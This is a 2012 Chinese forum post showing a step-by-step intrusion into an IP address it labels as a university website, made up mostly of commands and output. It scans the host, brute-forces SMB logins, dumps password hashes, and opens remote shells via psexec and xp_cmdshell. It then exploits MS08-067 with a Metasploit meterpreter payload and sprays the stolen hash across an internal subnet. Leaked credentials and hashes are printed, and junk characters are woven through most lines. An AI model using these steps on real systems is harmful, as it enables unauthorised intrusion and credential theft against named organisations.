广西师范网站http://202.103.242.241/
% U5 {& a4 w' ?. n1 ~; N- K y& U: V& W" T- [/ M' F
root@bt:~# nmap -sS -sV 202.103.242.241. R- ?$ [! ? ^) Z
' I& p, B# M- K+ z0 l( q, ZStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
9 B- R# Q+ w7 ~. `/ p# U: O2 k# s1 q" _( l4 c1 j
Nmap scan report for bogon (202.103.242.241)0 I# w* H3 w; z9 t# B1 O8 R
- p S9 P; s5 ] s- S
Host is up (0.00048s latency).
/ Y$ S. o; E; T% f- e; d, `
) H/ L0 u o# t. H* p+ O; G& CNot shown: 993 closed ports" t! G% g% A% W, _8 e
$ v1 t$ c0 c% B3 N) }4 NPORT STATE SERVICE VERSION6 o6 \" M$ c* s. O0 }- J. o
& m& O* J/ y; Q# S% O# M" t' \7 b
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)9 c$ D6 Z, y/ {3 g, I5 e! k$ Q
" k% Y8 N, z1 |/ R+ v
139/tcp open netbios-ssn8 i0 j9 q2 T" G; f& s
, h, z# Y* E) D
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
+ A* `5 o3 O1 X4 x& ~
R5 d; Y6 f; j1 y- ]9 l; q2 n/ }: x1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
1 l: }: L# {, b( F% m! U: ?' _* {& }9 Z* n* m
1026/tcp open msrpc Microsoft Windows RPC
: p# [2 }! R& e k+ K
4 Z2 O K" ?+ `9 q3372/tcp open msdtc?+ p8 W, k& }* o9 X n8 p4 |- o
/ a( ^9 y/ U7 q: G m
3389/tcp open ms-term-serv?
( n5 m5 B j9 g+ D
) E: Z4 U3 e3 C3 h* c2 p \5 s1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
, f% Q6 P. S) o3 b3 O- tSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
: s& [! L, H. B/ c) i% e4 j* Z
- D5 X5 U/ m% P- xSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions' T! \3 ]$ _+ b% g+ L! p
1 Y' q6 i r' G1 X% A ^! j
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)' E* k ~' S& i
0 b" A, f1 Y1 ^8 {% q7 R1 P+ OSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO/ d( {+ |$ j( K$ l/ @: |- S* W
8 U% W- o) O$ T" YSF:ptions,6,”hO\n\x000Z”);+ Q/ W7 P" }8 d1 m( G) z: v( w
/ U& i, x2 }" G/ CMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
! {# Q* _% G, S2 w- i3 v3 m! d' k- F9 R8 X9 ~
Service Info: OS: Windows4 M" j: y" N% x$ ~( |5 i9 p: I* F
1 D3 B3 L' Z% @# C/ o q) V
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
. q* s v' V) \) A& s7 G6 ~
- O" z7 q1 a6 L8 g3 gNmap done: 1 IP address (1 host up) scanned in 79.12 seconds! J! J! a! r6 M6 q: H$ G& C2 E5 j
: j; {$ m8 _8 a; k
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本0 Q3 V/ ? G$ }, g* k# @
2 _2 ~' I' R. n" _1 [0 x
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
% z; Z& Y* M* g6 l) b3 ^8 k* Z7 [! Y8 p
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
4 z3 n& R" n- o+ x: C
, T$ w( r6 z1 N) C- w-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse1 n* t; J+ V6 X( C" ?) z
: u% d7 _$ w6 A. a2 U( c-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
! M5 o; ^8 U" Q2 j4 f3 Q+ r1 s# r" w) p0 A
-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
, `8 }! b/ v7 X" k1 w& G, Q* h3 }" ?$ z0 k D
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
9 s) W0 ~& c4 e/ T. s3 m3 z5 m# ^' G' s. ~& I
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse1 o: u& j4 b7 D! \( N
1 W: g6 L+ X6 t# u* i
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
2 f0 ~! c7 M( Y1 j3 Y' F' g
6 d: \! A& ?8 X, y-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
: V4 O1 N2 S0 U9 l% ?8 a
0 K7 b' m5 n) h/ Y5 _2 M: W-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
2 ?- z8 a( r n$ y4 F; ~9 P$ Z5 z1 B# H
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
! ?: P! R* Q0 V r3 U3 s7 T
8 Q, ^0 q) i& t' N; Y% U& h-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse. z8 O8 W4 r$ i. a
5 ]' ^) ?. S3 F/ @& d
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse5 N# I1 k! P4 P9 N
4 l$ m/ R: j4 V8 c+ N, m-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
) k* n* U8 C8 k, ^/ p- a
" P( j+ y$ g0 |& S( {-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
0 v. W/ b, p: W1 P
( |) H" }( f" k$ ]+ Wroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
) L! F6 x" x: Q8 o- n! e$ ]) G) W$ | X+ X D& J4 y4 j
//此乃使用脚本扫描远程机器所存在的账户名
1 }( A2 t& L& W" k; R
7 A U" |1 Z+ RStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
- F8 u, X- Q9 p# L7 L' P: c l% r1 X( H A9 H& @6 R: X0 d
Nmap scan report for bogon (202.103.242.241)
% V& Z, G; d+ b! f6 G6 L1 a$ G6 Z7 L( l/ }# i; b
Host is up (0.00038s latency).3 _0 s3 K+ ?9 \
& v) X4 a2 z( m/ I2 Y# l4 f# TNot shown: 993 closed ports
8 P3 ?" M- S5 w6 c- @ z: z4 F: m+ N
PORT STATE SERVICE H$ q* s% K" b$ B8 Y8 H" d
i+ C# ~& @, u0 f' ?135/tcp open msrpc6 l) d) G ?1 c5 A1 Y
& {; j6 n: N$ Q7 X. _) |: h
139/tcp open netbios-ssn) Y4 e5 ~8 K' s2 c8 |' o
. ?* H; H6 H [2 t445/tcp open microsoft-ds
) j' \" v, L$ {! t2 `
. N! q' Q7 ?8 L3 r. N. I1025/tcp open NFS-or-IIS {. b0 G0 ^" k( D& T! ~, R/ N
4 F6 y5 U# O5 k, C9 K
1026/tcp open LSA-or-nterm1 H, D+ U2 N& s+ W- D6 `5 W
( V) ]6 q3 u9 g( N5 E
3372/tcp open msdtc
, k( A. K" J! Y: e/ \& L* H* a r# ?" g ~. \7 X9 z: f3 }
3389/tcp open ms-term-serv2 Q. d+ Z1 ] @# p% b
" A; Q" q: i% D$ v9 A7 R
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)5 Z* J2 l" c* n8 f' I' H
4 |$ q, h; \( FHost script results:- q" j6 Y) V! V
3 r1 p8 f" i' o( j| smb-enum-users: s' A4 [8 @0 B3 }: q8 t W5 p- H
) @, S0 |5 X1 ^: X& G# Q
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
& D. y8 @: `% V6 ~1 ~ o/ l" V: z0 i# \ k
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds, @2 c& _8 Z m) [9 D3 o" r {
/ K+ M- W! N' R/ o, W4 Z. H
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
8 X8 R3 J% Z! \; o" P* ]6 N" j" @- B6 c2 c% X" [
//查看共享
8 Y, h5 ?' _0 V2 @1 [% Z- ^- Q! j
- `$ F) e. h7 w FStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
3 }1 l R7 M3 V9 h# \* P1 U& ?( z7 L
* L& o6 W4 |( V7 r# F+ f+ i5 X/ BNmap scan report for bogon (202.103.242.241). ^ \1 F+ E( `8 X5 @+ w; i
! N3 G, ?5 r' o- v/ A
Host is up (0.00035s latency).
5 H5 h8 Z# ~. ?" c/ @# o" I( X) n% i0 t. R4 r' T+ a9 d
Not shown: 993 closed ports
5 v' s: l5 k2 _8 a' \* R
" y. x: _8 e5 mPORT STATE SERVICE
6 s8 j E2 a9 Z3 v# V
5 V, _4 l; ^, N: ~# C/ `3 g: i4 x135/tcp open msrpc
+ X0 f9 J1 a) E" M) {4 R
1 ~8 P3 E2 L: |, X139/tcp open netbios-ssn9 N, `% g, u* w
3 p3 c' E6 m0 Y9 N) N% `9 E445/tcp open microsoft-ds5 ?& X2 [& _: t
; Q8 Q$ z1 c, ^3 C0 D1025/tcp open NFS-or-IIS& e6 C6 ^2 S0 h% x
; J f* {# A3 [, G7 \; e
1026/tcp open LSA-or-nterm: q$ ~0 ~# S- N9 w, S1 r
* o( F: t& ]- z- l3372/tcp open msdtc
0 j, g2 H" ~6 W$ q/ b$ J6 u/ j) x4 Z$ c$ d
3389/tcp open ms-term-serv
+ g" K: p. R8 O5 `# C. C) R! L3 ^# d$ j$ R. A5 U4 s2 L8 }; Y z
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
$ G1 G2 M9 m' ?& R# y# B0 Z% S% Q" v- X: y+ ?
Host script results:" z' W" |9 }1 ]* Z$ q& q0 S
! Z: F% R M2 N1 u& [ V2 Z7 O3 v
| smb-enum-shares:
3 v! O& Q; f3 o& p
t2 r7 b/ T! r, @0 M| ADMIN$
2 F, p0 N8 j0 M; J, [8 j) ]$ t+ N0 l" `
| Anonymous access: <none>
3 R) n2 n p, P/ H1 k. O0 j" F; e; _% {) j7 `/ P6 l/ g
| C$
5 P3 W! [6 D3 x% t9 }( V. z g5 c4 m
| Anonymous access: <none>
# H- O7 b! n( p. {6 o4 Z) A. [. v# O' V
| IPC$
% M& t9 n# y+ k1 T
3 l6 z9 M/ i# s: g|_ Anonymous access: READ! P+ V! a+ g' H
+ X! b0 t& e2 ]" fNmap done: 1 IP address (1 host up) scanned in 1.05 seconds
( U: O1 n5 u! R# [ O
2 N* H7 b" e/ Q# P9 c+ ]" D7 q, wroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 9 ?8 @# n# N9 a
( O) I; }9 L6 G/ F, x) Z//获取用户密码
" ]* n7 _" F+ p4 y
" J/ N6 p# I: G7 Q$ H( y0 q; |( NStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST, p* p; ?+ y2 N3 ^. M6 a
" I9 e# ^0 x/ V; ?Nmap scan report for bogon (202.103.242.2418) M! E8 w6 t( h2 d: ~
6 A- s) p5 h- d: RHost is up (0.00041s latency).2 S* |, C, L7 `# |
3 M9 z+ ` Q! l% E" i! V" ~+ r
Not shown: 993 closed ports
& W$ o B+ k) b
' s4 \6 P" E9 w7 R. E0 Z! p; hPORT STATE SERVICE
! a+ J9 y% F; b2 E7 h2 {5 m! W3 K5 a' N1 \- D2 G$ W3 ^
135/tcp open msrpc
9 ?2 g I( ~+ n* \8 O) Y4 }7 C4 d) \; d" `: f, M j, U+ C
139/tcp open netbios-ssn7 V4 W: X7 c0 R4 n
( S$ [! l$ l# Y1 z( M* M+ f) Z445/tcp open microsoft-ds$ H2 |/ v) G+ p6 ?8 y3 X8 W; E
- i q7 A8 { W( J
1025/tcp open NFS-or-IIS- g! c& ~8 p! D& Y) u
' V: m+ Z L6 Z8 B; L. }
1026/tcp open LSA-or-nterm
+ T% n( V& X L: P
- v$ q" H d1 j2 }3372/tcp open msdtc
2 |1 }$ k' [6 w: D' a: V/ ?7 N, [: n& `; S
3389/tcp open ms-term-serv
$ o8 _4 x. y/ {& v, R
8 s, G+ L+ K+ b" K ]9 h- S" T2 RMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
" q! O! i, i. x; [* F: i
H; e* k; W% X8 p; mHost script results:. |7 V$ `4 ]4 h7 M& ?0 J8 H
0 d2 j& U: N! o! i- y9 L
| smb-brute:* I: @3 i' r! k' ~
. u4 w7 |9 ]- C4 Z P" |, C* }administrator:<blank> => Login was successful
, ~8 @3 p. i6 t7 |: W1 A4 N5 r( E* _1 E. a) N5 u
|_ test:123456 => Login was successful* V+ \: _) X/ U5 N7 C8 T! Z
! d; A5 O& F! k9 DNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
' D+ Q$ ~5 h# s: p+ i* U, \, C0 [/ ]) M8 A$ n: S0 k
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
( H3 R- Y7 E; W2 v( U
+ X* o8 r! ]$ v" yroot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data1 i1 T: n& _* i, k
& ~3 K/ y- K6 T( z8 @5 n7 a* rroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
7 Q+ G; l/ m. R/ l$ x2 r# i& V0 e( L% y
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139: T9 |3 l. ]3 z ~& J, F
, q, f8 ~' I; u' Q; Y( O' |
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST* P# |* F/ w9 `
, L. f& M _# r: C9 @$ z5 @
Nmap scan report for bogon (202.103.242.241)
! `- q9 j# ^3 r( u& _5 L
& q/ T G2 _& f! VHost is up (0.0012s latency).! Z) M9 H6 O& `! W0 i* A# g5 } r3 _, e
& K. U$ ?- V) a K8 o# U) _
PORT STATE SERVICE
5 F' N! Z$ P' c5 m) V* U, {2 ~
- ?2 ]2 ]1 g1 o; O+ R+ u7 e135/tcp open msrpc# j4 \/ t8 u" t! n; W4 p8 A8 z; U
: l3 Q7 T" L$ \4 `0 Q
139/tcp open netbios-ssn, S+ f; z! N$ I0 z3 M) W) \! u) M
: i! l% X+ d6 }445/tcp open microsoft-ds
: W! V0 |) @% W+ P. [6 C9 [! P/ ^- n Z4 ?0 A) I& F4 A! ?7 J
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)/ s6 d( ?/ s" G, ]) {3 D( u# ?
. j; ?, X3 ]- [& A5 c- ?: NHost script results:
" d4 e- D! p! s( x! q4 z* F9 i r/ H+ B. W1 `
| smb-pwdump:
& E) v. Y" _9 c! N3 X) `
* [$ i) p ] l; P0 m! O4 w/ b) S| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
7 Y$ C3 x( {3 s% R e
2 O' H' }% }' }' F. T3 V| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************" C$ ~+ @# s. {
' n8 |0 a m# [
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4+ B6 b7 D( ~2 x% j Z
/ _7 ^$ l* G! n' c5 v
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2; J+ u) [- n4 i4 @) m
2 u2 x. D) Y* D, N% DNmap done: 1 IP address (1 host up) scanned in 1.85 seconds
& f# J2 t3 L E0 q& C+ h$ {; s m T0 i: o* a, }! q
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell5 l# H+ X. h* ]6 k* q
! y. _0 k, Y4 N3 B-p 123456 -e cmd.exe9 j' z$ A& |, @7 u
4 y# B% ^( `* j/ MPsExec v1.55 – Execute processes remotely
, D2 I/ T c" ] }- }% y) V: S5 \) d# `- N+ r
Copyright (C) 2001-2004 Mark Russinovich3 }3 b0 i7 r0 Y0 W/ A
) b) j% B( K! t4 M: z3 b9 _1 ?
Sysinternals – www.sysinternals.com8 t' a& O2 J. k' |9 K! E3 j ~
8 g! t/ U4 j4 w
Microsoft Windows 2000 [Version 5.00.2195]
# @# I0 N: X4 _! w; a) R/ q8 d
% S t/ z- R+ k2 E) R(C) 版权所有 1985-2000 Microsoft Corp.
/ ~9 |) z2 `0 H. C( c% h
# Y3 G! H- K$ I- k; }. q$ V! i/ l7 O/ `C:\WINNT\system32>ipconfig
2 s2 C! c6 v! G0 \# b1 C" M/ i" H3 Q' ^( g
Windows 2000 IP Configuration
( N' p1 B2 D! L! B& q- p
' \' m0 O5 F' }/ E( U. c2 E& WEthernet adapter 本地连接:0 l- R0 `) a' a% W
: m+ H6 y0 W% R* b
Connection-specific DNS Suffix . :
. { T+ O- y/ Q' R! P
# W9 p5 t& y' f6 d! DIP Address. . . . . . . . . . . . : 202.103.242.241
( P, C" ^: J+ } R+ ~; \' G$ K `# W6 a: i# u: v
Subnet Mask . . . . . . . . . . . : 255.255.255.03 T; V1 P6 V8 z( k4 M
% P1 y7 m: V2 V! S# u9 GDefault Gateway . . . . . . . . . : 202.103.1.1
; ?1 E0 E2 Y" k8 r: ~- P& o
/ \, ^; n W5 }$ |/ ^6 S4 ZC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
4 g4 b- c, w; g
4 f }4 Z. }# ^, q# S i0 Rroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞6 W. D( S* q+ P8 E) V
2 R% o0 Y: J0 ]" x; ^
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST& j# p2 Q' @, z. u/ W6 y* \
1 Y% L# D* J, q
Nmap scan report for bogon (202.103.242.241)
, L7 ]( h% n: s/ _# H: _! y* }/ t+ T
Host is up (0.00046s latency).
^7 J9 U6 |1 g6 E) E! G; @8 n
* F7 B! d6 z6 m9 A+ n4 F R! VNot shown: 993 closed ports
# _9 x' x# ^0 K( {" a0 s6 @+ `. X3 ]/ t
PORT STATE SERVICE/ Q' O4 h- u1 ]" ^. T( i
% ~' ^% [& z- K1 f1 ] y7 ]/ a135/tcp open msrpc3 z( z4 R: n4 P% ]: S
. [& M6 [; Q& `- X' c139/tcp open netbios-ssn
' ^; b: L3 A# u1 N
9 H" o1 E$ K4 h8 l+ w9 i445/tcp open microsoft-ds1 y( g, N+ B# c6 T/ b
5 ^) a. h& |! ?0 ?$ }4 p4 S; u; ]1025/tcp open NFS-or-IIS/ D* k( V% x" D; Z6 m
. |* `) M/ K1 r8 s
1026/tcp open LSA-or-nterm
( F( f4 @, @/ n2 H! K0 e% _* t: A0 C8 i+ W) ~) w0 g/ u
3372/tcp open msdtc7 g6 L8 t8 F+ r1 d2 R3 L
' d x9 x8 s. a: z( l
3389/tcp open ms-term-serv; m4 L; b: t( E1 C0 g
; a7 T$ [% v# f
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)# b. e1 A# ]6 X# c' Y! M- ^
- N- M& p( k+ d k3 J! T
Host script results:
0 Q* q' w1 V7 m3 F; j
2 \* Z; m, }7 ]" g! F| smb-check-vulns:7 E5 X/ B1 y9 w( y0 l2 m$ p% p& ?
* n) Q3 S) ?0 L0 o4 z- i
|_ MS08-067: VULNERABLE
: ?* |; V R s! Q5 G) [; N/ |7 O, C# `* B A o/ x7 Q( N6 r
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds. d8 r7 a' J6 u
1 u' H& e, Y8 P& g3 J
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出. S( j* k8 a3 J
2 [ {% b# z6 m6 f! }msf > search ms08
, a9 z9 x1 ?! m( C6 j$ ?; d
3 v) ]# _9 S9 f# M& \msf > use exploit/windows/smb/ms08_067_netapi
3 ^' K+ j) C( f, m
. `4 m0 S% V" Q. u$ T+ d) |& Kmsf exploit(ms08_067_netapi) > show options
$ c6 d4 u2 o4 @5 j% h* r G, N' e, g8 Y& |/ A# E
msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241' u* T& M9 l$ @+ O7 \! d$ ? ?
' s% i. n* M( n" bmsf exploit(ms08_067_netapi) > show payloads
; w b, ]/ d+ J9 A J+ N9 U# M
) k! V- c9 D' a+ U3 ]msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
) j3 b% v9 I1 c" n) _8 h1 O& F! p. l: ?# f7 d8 a
msf exploit(ms08_067_netapi) > exploit& Z( F( L2 W/ q2 }
" w5 J! ]0 M4 q% p: fmeterpreter >
3 e* j V& i. `- P- N4 o& |9 R; l, |- o# p4 O& A
Background session 2? [y/N] (ctrl+z)9 g% D x5 h1 ?; U
) p& u; H, m j, G8 f
msf exploit(ms08_067_netapi) > sessions -l1 ?7 H0 Y* E, b
" h1 i* U- I7 G2 H
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt/ L* x1 z; h1 S$ ?/ Y
% s+ o9 W/ \: d% J5 m9 b3 m( p0 s; dtest
+ ]' l$ j- k9 j4 D( J& q* m9 H. ^# l- ?
administrator
; \* M4 [9 L- n2 I1 S6 I
" h. K# P: l' b) T: E2 `root@bt:/usr/local/share/nmap/scripts# vim password.txt6 ~9 r0 N' S4 L: @3 Q
8 W+ ?. ]6 M; N/ z4 }44EFCE164AB921CAAAD3B435B51404EE z8 V# B0 T1 }5 n& r
* d. b" o* a) r+ W) `
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
$ R! J& K h& V# V/ t' T/ f: O# m. ^8 {3 t
//利用用户名跟获取的hash尝试对整段内网进行登录
( |) A5 |' |3 Q6 m1 K4 T
8 C" }0 [- t MNmap scan report for 192.168.1.105
0 O' d6 x, U+ F" X, E, p0 L1 q" J8 E$ _9 d8 v" i. R, d
Host is up (0.00088s latency).
+ ^, @2 ^# p8 D( A! \, N" }3 Q# D. \$ s1 }+ J* Z/ r
Not shown: 993 closed ports! w7 t4 K0 c+ z3 `* f
8 p, L8 h. f' q; {& EPORT STATE SERVICE8 M$ V9 Q4 l V7 v. N
6 j9 a9 S( I; Y
135/tcp open msrpc2 {7 p9 s# |/ D' J8 m; b( k
4 K# e" l5 R$ J. G139/tcp open netbios-ssn
% E9 ^9 {8 B s
' ~' t, a9 D1 L m. b: ~# J445/tcp open microsoft-ds$ Y( E) \6 c9 N$ L( Y4 s
1 K8 {( A' i" Q* v
1025/tcp open NFS-or-IIS
8 h: O5 C4 ~7 {5 U% g+ u, N/ o! z5 U+ R5 F# A4 ?. F% S6 Z
1026/tcp open LSA-or-nterm" _1 y, Y; [3 x2 k) r# Q9 D. [
( i# A/ o" K7 m% O& ~3372/tcp open msdtc
# l8 n! K$ f+ \! s2 A
, A' C: t x6 `( G3389/tcp open ms-term-serv
/ D* w/ Z1 U; H- g3 B( {* o; n/ f0 Z
' r/ p( N- T/ S/ WMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)# z7 s# ]# o2 {9 N% \ `: M
8 E: e8 U% [* M4 B. u2 A0 g
Host script results:3 \) L5 R+ e5 v7 g3 U
! I2 k' {. S7 M6 ~/ H' s; L: r| smb-brute:1 ]9 ]% s5 X9 e
, M/ j+ Y4 m$ }, s2 X|_ administrator:<blank> => Login was successful
/ W/ n' p1 Z( o7 z, L/ m- u
3 V0 t2 X- h: ^6 M7 {6 \. n攻击成功，一个简单的msf+nmap攻击~~·2 K# E- b- G4 d1 Y; a
! e/ f. w3 Y: y8 ^: P2 B
|
发表于 2012-12-4 12:46:42
收藏
支持
反对